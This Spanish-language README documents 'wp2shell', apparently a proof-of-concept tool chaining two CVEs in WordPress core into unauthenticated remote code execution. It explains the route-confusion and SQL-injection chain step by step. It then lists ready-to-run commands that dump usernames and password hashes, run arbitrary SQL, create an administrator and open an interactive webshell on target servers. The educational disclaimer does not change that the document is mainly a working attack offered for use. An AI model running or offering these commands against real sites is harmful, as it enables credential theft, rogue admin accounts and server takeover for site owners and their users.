
Prueba de concepto de cadena RCE para CVE-2026-63030 y CVE-2026-60137
⚠ Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
Prueba de concepto de la cadena de vulnerabilidades wp2shell que afecta a WordPress Core, combinando CVE-2026-63030 y CVE-2026-60137. El proyecto demuestra la interacción entre la vulnerabilidad de confusión de rutas del endpoint REST API Batch y una inyección SQL en WP_Query, lo que resulta en una vía no autenticada hacia el compromiso total de WordPress y la ejecución remota de código (RCE).
Lee el aviso completo aquí
wp2shell es una cadena RCE de preautenticación en el núcleo de WordPress que combina CVE-2026-63030 (confusión de rutas en el endpoint REST batch) y CVE-2026-60137 (inyección SQL en WP_Query).
La confusión de rutas: /wp-json/batch/v1 procesa múltiples subpeticiones mediante matrices paralelas $matches y $validation indexadas por posición. Una subpetición con una ruta malformada (p. ej., http://:) se añade a $validation pero no a $matches debido a una sentencia continue, desincronizando las matrices. Las peticiones posteriores se despachan bajo el manejador destinado a la siguiente petición, omitiendo la validación del esquema y las comprobaciones de permisos.
La inyección SQL: Dos llamadas batch anidadas explotan esto. El batch externo omite la lista blanca de métodos (que normalmente bloquea GET). El batch interno entrega una cadena escalar author_exclude a GET /wp/v2/posts; la desincronización la enruta más allá de la validación, y WP_Query interpola la cadena sin sanitizar directamente en SQL, produciendo una inyección ciega basada en UNION.
Envenenamiento de caché: La SQLi devuelve objetos WP_Post falsificados, que WordPress almacena en caché en memoria. Estas publicaciones falsas contienen shortcodes [embed] que hacen que WordPress cree filas reales de oembed_cache en la base de datos a partir de las referencias falsas.
Escalada de changeset: Usando la SQLi, el atacante falsifica en memoria una publicación customize_changeset con "user_id": 1 en su JSON. Un gadget de detección de ciclos activa wp_update_post() sin sobrescribir post_content, preservando la carga útil del atacante. Aplicar el changeset asume temporalmente la identidad del administrador.
Reentrada de hooks: Una publicación fabricada con estado parse y tipo request dispara el hook parse_request, reproduciendo toda la petición batch con el rol de administrador asumido. Esta vez, una subpetición POST /wp/v2/users tiene éxito, creando una nueva cuenta de administrador.
Ejecución de código: El atacante inicia sesión como el administrador creado y sube un plugin malicioso para ejecutar comandos arbitrarios.
| Versión | Estado |
|---|---|
| WordPress 6.9.0 – 6.9.4 | Vulnerable |
| WordPress 7.0.0 – 7.0.1 | Vulnerable |
| WordPress 6.9.5 | Corregida |
| WordPress 7.0.2+ | Corregida |
Para usar este PoC, el único requisito es Python 3.8+.
Ejecútalo desde el directorio del repositorio para realizar una comprobación de vulnerabilidad:
wp2shell.py http://victim.com
Realiza una comprobación única de vulnerabilidad. Envía una sonda benigna de marcador batch que detecta el bug de confusión de rutas sin ejecutar cargas útiles de SQLi. Un objetivo vulnerable devuelve HTTP 207 con el patrón de error parse_path_failed, block_cannot_read y rest_batch_not_allowed.
Usa --confirm-sqli para enviar también una carga útil activa de confirmación de SQLi. La confirmación intenta primero la reflexión UNION y luego recurre a sondas basadas en tiempos.
Comprobar un único objetivo (modo predeterminado)
wp2shell.py http://target.com
Comprobar con modo explícito
Check with explicit mode
wp2shell.py http://target.com --check
Comprobar con confirmación de SQLi
wp2shell.py http://target.com --check --confirm-sqli
Extrae datos de la base de datos utilizando la inyección SQL de preautenticación. Por defecto usa --technique auto, que prueba los métodos disponibles en este orden:
WP_Post falsa mediante UNION y lee su título de vuelta desde la respuesta REST como ||HEX(value)||. Una petición por valor. El más rápido.EXTRACTVALUE/UPDATEXML para filtrar ~15 bytes por petición. Funciona cuando el objetivo refleja errores de MySQL (p. ej., WP_DEBUG_DISPLAY activado).X-WP-Total como señal de verdadero/falso. Funciona incluso cuando no se reflejan datos.Fuerza una técnica específica con --technique union|error|blind. Estas rutas de lectura son de solo lectura y no escriben en la base de datos.
Huella del servidor (consulta predeterminada)
wp2shell.py http://target.com --read
Volcar nombres de usuario y hashes de contraseñas
wp2shell.py http://target.com --read --preset users
Consulta SQL personalizada
wp2shell.py http://target.com --read --query "SELECT @@version"
Forzar técnica ciega
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
Extraer con técnica basada en errores
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
Ejecuta comandos en el servidor objetivo. Funciona en dos modos:
Con credenciales (inicia sesión como administrador existente y sube el shell del plugin):
Ejecutar comando específico
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
Shell interactivo
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Sin credenciales (RCE de preautenticación: ejecuta el puente completo SQLi→admin, inicia sesión como administrador generado y luego sube el shell del plugin):
Ejecutar un solo comando
wp2shell.py http://target.com --shell --cmd id
Shell interactivo
wp2shell.py http://target.com --shell --interactive
El webshell del plugin se sube con una ruta aleatoria y un token por ejecución. El webshell subido se elimina automáticamente. Cuando el puente de preautenticación crea un administrador, esa cuenta generada se elimina automáticamente después de que la sesión de shell termine.
Lista de todas las banderas:
Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
| Banderas | Descripción |
|---|
--check | Ejecuta la comprobación de vulnerabilidad (modo predeterminado si no se especifica otro modo) |
--read | Extrae datos mediante inyección SQL |
--shell | Ejecuta comandos en el servidor |
--query | Consulta SQL personalizada para el modo de lectura |
--preset | Conjunto de consultas predefinido (users, config, versions) |
--technique | Técnica de extracción SQLi: union, error, blind o auto (predeterminado) |
--confirm-sqli | Envía la carga útil de confirmación de SQLi después de la comprobación |
--cmd | Comando a ejecutar en modo shell (predeterminado: id) |
--interactive, -i | Modo shell interactivo |
--user | Nombre de usuario administrador para el shell autenticado |
--password | Contraseña de administrador para el shell autenticado |
--proxy | Proxy HTTP/HTTPS (p. ej., http://127.0.0.1:8080) |
--timeout | Tiempo de espera de la petición en segundos (predeterminado: 30) |
--verbose, -v | Salida verbosa |